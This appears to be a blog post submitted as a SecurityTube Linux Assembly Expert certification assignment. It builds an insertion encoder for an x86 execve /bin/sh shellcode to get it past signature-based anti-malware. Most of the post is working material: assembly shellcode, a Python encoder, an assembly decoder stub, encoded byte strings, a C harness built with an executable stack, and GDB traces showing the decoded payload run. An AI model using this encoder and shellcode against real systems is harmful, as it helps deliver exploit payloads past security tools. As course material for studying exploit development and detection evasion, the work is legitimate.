SLAE-473 ASSIGNMENT #4 Custom Shellcode Insertion Encoder

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.

The goal of this assignment is to create a custom insertion encoding scheme, a proof of concept for an execve-stack shellcode.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.

This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.

The problem

Sometimes delivering the an exploit payload with just a plain shellcode will not suffice when it comes to situations where a signature based protection, such as Anti-Malware is in place. This is where techniques for obfuscating the final shellcode comes into play.

The solution

Generally two methods exist, encryption and encoding, the later being simpler. This assignment will demonstrate a simple insertion based algorithm which will insert a random byte in between every other byte of the real shellcode.

Diagram below shows original shellcode

diagram1.001

Diagram below shows where random bytes are inserted into shellcode

diagram2.001

Finally a byte is prefixed to the new shellcode indicating how many random bytes have been inserted and thus helping the decoding process to reverse the shellcode back to its original state.

diagram3.001

The above diagrams should give a high level overview of the encoding process. But with all encoding algorithm there needs to be a decoding process too.

The most important part of the decoding process will be to retrieve the shellcode’s first byte identifying how many random bytes have been inserted so that the decoding process knows when to stop and prevent a segfault.

Once the decoding process has completed, the program flow then needs to pass control to the start of the original shellcode.

Methodology

These are the steps I will take to produce our encoded shellcode.

  1. Generate a basic execve shellcode in assembly using nasm
  2. Script the encoder algorithm which take the original shellcode as input and generates the final encoded shellcode. Will use Python language for script
  3. Write decoder algorithm in assembly with encoded shellcode as input
  4. Insert decoder algorithm with decoded shellcode into c shellcode template to test running on stack

Proof of concept

First we need an execve based shellcode which is simple enough and source listed below.

; shellcode-execve.asm 
; Author: Mutti K
; Purpose: Demonstration of simple execve shellcode which spawns /bin/bash
; Note: Null free shellcode.

global _start

section .text

_start:
 ; execve()
 xor eax,eax ; zero out
 ;create string on stack /bin/sh
 mov edx, eax ; Param 3, null
 mov ecx, eax ; Param 2, null
 push eax ; null terminate shell string
 push 0x68732f2f ; hs//
 push 0x6e69622f ; nib/
 mov ebx, esp ; Param 1 store pointer to string
 mov al, 0xb ; execve()
 int 0x80

Need to compile and ensure it works

target$ nasm -f elf32 -o shellcode-execve.o shellcode-execve.nasm
target$ ld -o shellcode-execve shellcode-execve.o

Run execve shellcode to test

target$ ./shellcode-execve 
$ id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
$ exit

Get an objdump of the shellcode which will be fed into our encoder script

target$ for i in `objdump -d shellcode-execve | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

Next we need to script the encoder algorithm which will take the original shellcode and output something encoded

#!/usr/bin/python
"""
Author: Mutti K
Purpose: Proof of Concept Python Insertion Encoder.
Paste your shellcode into the script and an encoded shellcode will be printed to the console.
Limitations: Original shellcode cannot be larger than 255 bytes.

"""

import random
import sys

settings = {'debug':0,'timeout':5,'retry':5}
shellcode = ("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80")

def main(argv):
 shellcode_len = len(bytearray(shellcode))
 if shellcode_len > 255:
 print ("Shellcode is %d which is to big, cannot be bigger than 255 bytes" % shellcode_len)
 else:
 insertion_single_random()
 
'''
Format of output shellcode
[number of inserted bytes][shellcode byte][inserted byte]...
Limitation: Input shellcode cannot be greater than 255 bytes
Decoding: Read first byte from encoded shellcode and this will tell you how many iteration to remove fake byte
'''
def insertion_single_random():
 encoded = ""
 loop_count = 0
 print 'Single random insertion encoded shellcode ...'
 shellcode_len = len(bytearray(shellcode))
 
 for x in bytearray(shellcode) :
 INSERT_BYTE = '0x%02x' % random.randint(1,255)
 if settings['debug']:
 print INSERT_BYTE

 loop_count += 1
 #Append real byte from shellcode
 encoded += '0x'
 encoded += '%02x,' %x
 #Append fake byte
 encoded += INSERT_BYTE
 
 if loop_count < shellcode_len:
 encoded += ','

 #Prepend loop count to final encoded shellcode
 encoded = '0x%02x,' %loop_count + encoded 

 print encoded

 print 'Len: %d' % shellcode_len
 print ("Loop rounds = %d" % loop_count)
 
if __name__ == "__main__":
 try:
 main(sys.argv[1:])
 except Exception as e:
 print 'Cannot run program.\n', e
 if (settings['debug'] is not None):
 raise

Some key points of the script

  • The original shellcode must be pasted into the ‘shellcode’ variable
  • A new variable ‘encoded’ will hold the new shellcode
  • As each byte is taken from the original shellcode a new random byte is added after it
  • At the end of the process an extra byte is prepended to the shellcode which contains the value of the total number of random bytes inserted. This will help the decoder process figure out the end of the encoded shellcode
  • Because only a single byte is used to represent the total insert bytes, this means that the original shellcode cannot be greater than 255 bytes

Let’s run to test if an encoded byte string is generated

target$ python insertion_encoder.py Single random insertion encoded shellcode ...
0x17,0x31,0xf1,0xc0,0x5f,0x89,0x16,0xc2,0x9a,0x89,0xa9,0xc1,0x3d,0x50,0xed,0x68,0x45,0x2f,0x90,0x2f,0x14,0x73,0xcc,0x68,0xc0,0x68,0x7b,0x2f,0x91,0x62,0xe3,0x69,0xd7,0x6e,0x06,0x89,0x7d,0xe3,0xda,0xb0,0x6e,0x0b,0x14,0xcd,0x80,0x80,0x4e
Len: 23
Loop rounds = 23

As we can see above, the encoded bytes start with 0x17 = 23d which is the size of the original shellcode and number of inserted random bytes. I have also highlighted the first five bytes that indicate the original shellcode is placed correctly.

Now we move on to implementing the decoder algorithm using nasm. This will ensure we have shellcode that can self modify and run the original shellcode

;; insertion_rand_decoder.asm
; Author: Mutti K
; Purpose: Demonstration of insertion decoded shellcode.

global _start

section .text
_start:
 ;First step is to jmp to location of encoded shellcode to help get address of position
 jmp short encoded_shell_marker

decoder:
 pop esi ; Address of last caller, which is where the encoded shellcode is.
 xor ecx,ecx
 mov cl, byte[esi]; encoded shellcode has prefix for loop counter
 inc esi ; move esi past prefix counter to start of shellcode
 lea edi, [esi +1] ; location of next byte (the inserted byte)
 xor eax, eax
 mov al, 1
 xor ebx, ebx
 
decode: 
 mov bl, byte [esi + eax + 1] ; Move value after insertion byte 
 mov byte [edi], bl ; Ovewrite insertion byte
 inc edi ; Increment insertion counter 
 add al, 2
 loop decode
 jmp short EncodedShellcode +1 ; Loop finished so continue from 1 byte past prefix to shellcode
 
encoded_shell_marker:
 call decoder
 EncodedShellcode: db 0x17,0x31,0xf1,0xc0,0x5f,0x89,0x16,0xc2,0x9a,0x89,0xa9,0xc1,0x3d,0x50,0xed,0x68,0x45,0x2f,0x90,0x2f,0x14,0x73,0xcc,0x68,0xc0,0x68,0x7b,0x2f,0x91,0x62,0xe3,0x69,0xd7,0x6e,0x06,0x89,0x7d,0xe3,0xda,0xb0,0x6e,0x0b,0x14,0xcd,0x80,0x80,0x4e

Key components of the shellcode

  • Encoded shellcode is stored at bottom of code as db
  • jmp, call, pop esi is used to retrieve memory location of encoded shellcode
  • The ‘decoder’ section begins by extracting the prepended value of the total number of inserted bytes and places into cl
  • With our intended number of iterations to move the good shellcode bytes over the random bytes our loop decode: process is ready
  • Two important registers are ESI which holds the memory location of the start of the encoded shellcode and EDI which holds the memory location of where the newly moved bytes should be written to
  • EAX acts as the incrementing pointer for the next position along the encoded shellcode that will be worked on
  • Once ECX has finally zeroed out and the loop ends, control of the program is passed to the beginning of the newly decoded shellcode + 1 byte ahead skipping the prepended loop counter

Now we can compile the decoder ready for insertion into out c template code to test

target$ nasm -f elf32 -o insertion_rand_decoder.o insertion_rand_decoder.nasm
target$ ld -o insertion_rand_decoder insertion_rand_decoder.o

A quick note, if you try to run the compiled insertion_rand_decoder program as is, you will receive a sigfault because the decoder is modifying (writing) to the section of the program memory which is marked as executable but not writable. This makes sense because the encoded shellcode isn’t on the stack yet. If you did want to test this code then an extra syscall needs to be added to the code which allows the memory permissions to be changed to writable using mprotect(). If you are interested, I have a modified version with the mprotect call in the github repo which can be found at the start of this blog.

Now we need to take an objdump of the final decoder + encoded shellcode ready for insertion into our c template code

$ for i in `objdump -d insertion_rand_decoder | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\xeb\x1c\x5e\x31\xc9\x8a\x0e\x46\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xe2\xf5\xeb\x06\xe8\xdf\xff\xff\xff\x17\x31\xf1\xc0\x5f\x89\x16\xc2\x9a\x89\xa9\xc1\x3d\x50\xed\x68\x45\x2f\x90\x2f\x14\x73\xcc\x68\xc0\x68\x7b\x2f\x91\x62\xe3\x69\xd7\x6e\x06\x89\x7d\xe3\xda\xb0\x6e\x0b\x14\xcd\x80\x80\x4e

I will insert the decoder and encoded shellcode into a c shellcode test program

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\xeb\x1c\x5e\x31\xc9\x8a\x0e\x46"
"\x8d\x7e\x01\x31\xc0\xb0\x01\x31"
"\xdb\x8a\x5c\x06\x01\x88\x1f\x47"
"\x04\x02\xe2\xf5\xeb\x06\xe8\xdf"
"\xff\xff\xff\x17\x31\xf1\xc0\x5f"
"\x89\x16\xc2\x9a\x89\xa9\xc1\x3d"
"\x50\xed\x68\x45\x2f\x90\x2f\x14"
"\x73\xcc\x68\xc0\x68\x7b\x2f\x91"
"\x62\xe3\x69\xd7\x6e\x06\x89\x7d"
"\xe3\xda\xb0\x6e\x0b\x14\xcd\x80\x80\x4e";

main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

Compile

target$ gcc -o ./insertion_rand_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack

Test

target$ ./insertion_rand_shellcode_skeleton 
Shellcode Length: 82
$ id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
$ exit

I have included the test results from running the shellcode through GDB to further assist the reader in understanding how the shellcode works.

$ gdb ./insertion_rand_shellcode_skeleton 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment4/insertion_rand_shellcode_skeleton...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x804841f

(gdb) r
Starting program: /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment4/insertion_rand_shellcode_skeleton 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, 0x0804841f in main ()

(gdb) disas
Dump of assembler code for function main:
 0x0804841c <+0>: push %ebp
 0x0804841d <+1>: mov %esp,%ebp
=> 0x0804841f <+3>: and $0xfffffff0,%esp
 0x08048422 <+6>: sub $0x20,%esp
 0x08048425 <+9>: movl $0x52,0x4(%esp)
 0x0804842d <+17>: movl $0x80484e0,(%esp)
 0x08048434 <+24>: call 0x8048300 <printf@plt>
 0x08048439 <+29>: movl $0x80496c0,0x1c(%esp)
 0x08048441 <+37>: mov 0x1c(%esp),%eax
 0x08048445 <+41>: call *%eax
 0x08048447 <+43>: leave 
 0x08048448 <+44>: ret 
End of assembler dump.
(gdb) b *0x08048445
Breakpoint 2 at 0x8048445

(gdb) c
Continuing.
Shellcode Length: 82

Breakpoint 2, 0x08048445 in main ()
(gdb) disas
Dump of assembler code for function main:
 0x0804841c <+0>: push %ebp
 0x0804841d <+1>: mov %esp,%ebp
 0x0804841f <+3>: and $0xfffffff0,%esp
 0x08048422 <+6>: sub $0x20,%esp
 0x08048425 <+9>: movl $0x52,0x4(%esp)
 0x0804842d <+17>: movl $0x80484e0,(%esp)
 0x08048434 <+24>: call 0x8048300 <printf@plt>
 0x08048439 <+29>: movl $0x80496c0,0x1c(%esp)
 0x08048441 <+37>: mov 0x1c(%esp),%eax
=> 0x08048445 <+41>: call *%eax
 0x08048447 <+43>: leave 
 0x08048448 <+44>: ret 
End of assembler dump.
(gdb) set disassembly-flavor intel

(gdb) stepi
0x080496c0 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x080496c0 <+0>: jmp 0x80496de <code+30>
 0x080496c2 <+2>: pop esi
 0x080496c3 <+3>: xor ecx,ecx
 0x080496c5 <+5>: mov cl,BYTE PTR [esi]
 0x080496c7 <+7>: inc esi
 0x080496c8 <+8>: lea edi,[esi+0x1]
 0x080496cb <+11>: xor eax,eax
 0x080496cd <+13>: mov al,0x1
 0x080496cf <+15>: xor ebx,ebx
 0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1]
 0x080496d5 <+21>: mov BYTE PTR [edi],bl
 0x080496d7 <+23>: inc edi
 0x080496d8 <+24>: add al,0x2
 0x080496da <+26>: loop 0x80496d1 <code+17>
 0x080496dc <+28>: jmp 0x80496e4 <code+36>
 0x080496de <+30>: call 0x80496c2 <code+2>
 0x080496e3 <+35>: pop ss
 0x080496e4 <+36>: xor ecx,esi
 0x080496e6 <+38>: rcr BYTE PTR [edi-0x77],0x16
 0x080496ea <+42>: ret 0x899a
 0x080496ed <+45>: test eax,0xed503dc1
 0x080496f2 <+50>: push 0x2f902f45

Let’s continue execution until we have the start address of the encoded shellcode in esi

(gdb) stepi
0x080496de in code ()
(gdb) stepi
0x080496c2 in code ()
(gdb) stepi
0x080496c3 in code ()


(gdb) i r $esi
esi 0x80496e3 134518499

(gdb) x /47xb $esi
0x80496e3 <code+35>: 0x17 0x31 0xf1 0xc0 0x5f 0x89 0x16 0xc2
0x80496eb <code+43>: 0x9a 0x89 0xa9 0xc1 0x3d 0x50 0xed 0x68
0x80496f3 <code+51>: 0x45 0x2f 0x90 0x2f 0x14 0x73 0xcc 0x68
0x80496fb <code+59>: 0xc0 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69
0x8049703 <code+67>: 0xd7 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0
0x804970b <code+75>: 0x6e 0x0b 0x14 0xcd 0x80 0x80 0x4e

Can you see the encoded shellcode?

Let’s define a hook-stop in gdb for the purpose of displaying this are of memory as we hit break points for the decode function

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble 
>x /47xb $esi
>end

Set two new break points, 1 at the end of every decode iteration and a second break point once the decode process has completed

(gdb) b *0x080496da
Breakpoint 3 at 0x80496da
(gdb) b *0x080496dc
Breakpoint 4 at 0x80496dc

After five iterations we can see the correct bytes being moved into place.

(gdb) c
Continuing.
Dump of assembler code for function code:
 0x080496c0 <+0>: jmp 0x80496de <code+30>
 0x080496c2 <+2>: pop esi
 0x080496c3 <+3>: xor ecx,ecx
 0x080496c5 <+5>: mov cl,BYTE PTR [esi]
 0x080496c7 <+7>: inc esi
 0x080496c8 <+8>: lea edi,[esi+0x1]
 0x080496cb <+11>: xor eax,eax
 0x080496cd <+13>: mov al,0x1
 0x080496cf <+15>: xor ebx,ebx
 0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1]
 0x080496d5 <+21>: mov BYTE PTR [edi],bl
 0x080496d7 <+23>: inc edi
 0x080496d8 <+24>: add al,0x2
=> 0x080496da <+26>: loop 0x80496d1 <code+17>
 0x080496dc <+28>: jmp 0x80496e4 <code+36>
 0x080496de <+30>: call 0x80496c2 <code+2>
 0x080496e3 <+35>: pop ss
 0x080496e4 <+36>: xor eax,eax
 0x080496e6 <+38>: mov edx,eax
 0x080496e8 <+40>: mov ecx,eax
 0x080496ea <+42>: ret 0x899a
---Type  to continue, or q  to quit---
 0x080496ed <+45>: test eax,0xed503dc1
 0x080496f2 <+50>: push 0x2f902f45
 0x080496f7 <+55>: adc al,0x73
 0x080496f9 <+57>: int3 
 0x080496fa <+58>: push 0x2f7b68c0
 0x080496ff <+63>: xchg ecx,eax
 0x08049700 <+64>: (bad) 
 0x08049701 <+65>: jecxz 0x804976c
 0x08049703 <+67>: xlat BYTE PTR ds:[ebx]
 0x08049704 <+68>: outs dx,BYTE PTR ds:[esi]
 0x08049705 <+69>: push es
 0x08049706 <+70>: mov DWORD PTR [ebp-0x1d],edi
 0x08049709 <+73>: fidiv DWORD PTR [eax-0x32ebf492]
 0x0804970f <+79>: add BYTE PTR [eax+0x4e],0x0
End of assembler dump.
0x80496e4 <code+36>: 0x31 0xc0 0x89 0xc2 0x89 0xc1 0xc2 0x9a
0x80496ec <code+44>: 0x89 0xa9 0xc1 0x3d 0x50 0xed 0x68 0x45
0x80496f4 <code+52>: 0x2f 0x90 0x2f 0x14 0x73 0xcc 0x68 0xc0
0x80496fc <code+60>: 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69 0xd7
0x8049704 <code+68>: 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0 0x6e
0x804970c <code+76>: 0x0b 0x14 0xcd 0x80 0x80 0x4e 0x00

Breakpoint 3, 0x080496da in code ()

will disable the loop break point to allow the program to reach the final break point when the decoding completes and we can verify that the decoded shellcode in fully in place.

(gdb) disable 3
(gdb) c
Continuing.
Dump of assembler code for function code:
 0x080496c0 <+0>: jmp 0x80496de <code+30>
 0x080496c2 <+2>: pop esi
 0x080496c3 <+3>: xor ecx,ecx
 0x080496c5 <+5>: mov cl,BYTE PTR [esi]
 0x080496c7 <+7>: inc esi
 0x080496c8 <+8>: lea edi,[esi+0x1]
 0x080496cb <+11>: xor eax,eax
 0x080496cd <+13>: mov al,0x1
 0x080496cf <+15>: xor ebx,ebx
 0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1]
 0x080496d5 <+21>: mov BYTE PTR [edi],bl
 0x080496d7 <+23>: inc edi
 0x080496d8 <+24>: add al,0x2
 0x080496da <+26>: loop 0x80496d1 <code+17>
=> 0x080496dc <+28>: jmp 0x80496e4 <code+36>
 0x080496de <+30>: call 0x80496c2 <code+2>
 0x080496e3 <+35>: pop ss
 0x080496e4 <+36>: xor eax,eax
 0x080496e6 <+38>: mov edx,eax
 0x080496e8 <+40>: mov ecx,eax
 0x080496ea <+42>: push eax
---Type  to continue, or q  to quit---
 0x080496eb <+43>: push 0x68732f2f
 0x080496f0 <+48>: push 0x6e69622f
 0x080496f5 <+53>: mov ebx,esp
 0x080496f7 <+55>: mov al,0xb
 0x080496f9 <+57>: int 0x80
 0x080496fb <+59>: add BYTE PTR [eax+0x7b],ch
 0x080496fe <+62>: das 
 0x080496ff <+63>: xchg ecx,eax
 0x08049700 <+64>: (bad) 
 0x08049701 <+65>: jecxz 0x804976c
 0x08049703 <+67>: xlat BYTE PTR ds:[ebx]
 0x08049704 <+68>: outs dx,BYTE PTR ds:[esi]
 0x08049705 <+69>: push es
 0x08049706 <+70>: mov DWORD PTR [ebp-0x1d],edi
 0x08049709 <+73>: fidiv DWORD PTR [eax-0x32ebf492]
 0x0804970f <+79>: add BYTE PTR [eax+0x4e],0x0
End of assembler dump.
0x80496e4 <code+36>: 0x31 0xc0 0x89 0xc2 0x89 0xc1 0x50 0x68
0x80496ec <code+44>: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69
0x80496f4 <code+52>: 0x6e 0x89 0xe3 0xb0 0x0b 0xcd 0x80 0x00
0x80496fc <code+60>: 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69 0xd7
0x8049704 <code+68>: 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0 0x6e
0x804970c <code+76>: 0x0b 0x14 0xcd 0x80 0x80 0x4e 0x00
---Type  to continue, or q  to quit---

Breakpoint 4, 0x080496dc in code ()

And there we have it, the decoded execve shellcode is ready to run.

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473


One thought on “SLAE-473 ASSIGNMENT #4 Custom Shellcode Insertion Encoder

Leave a comment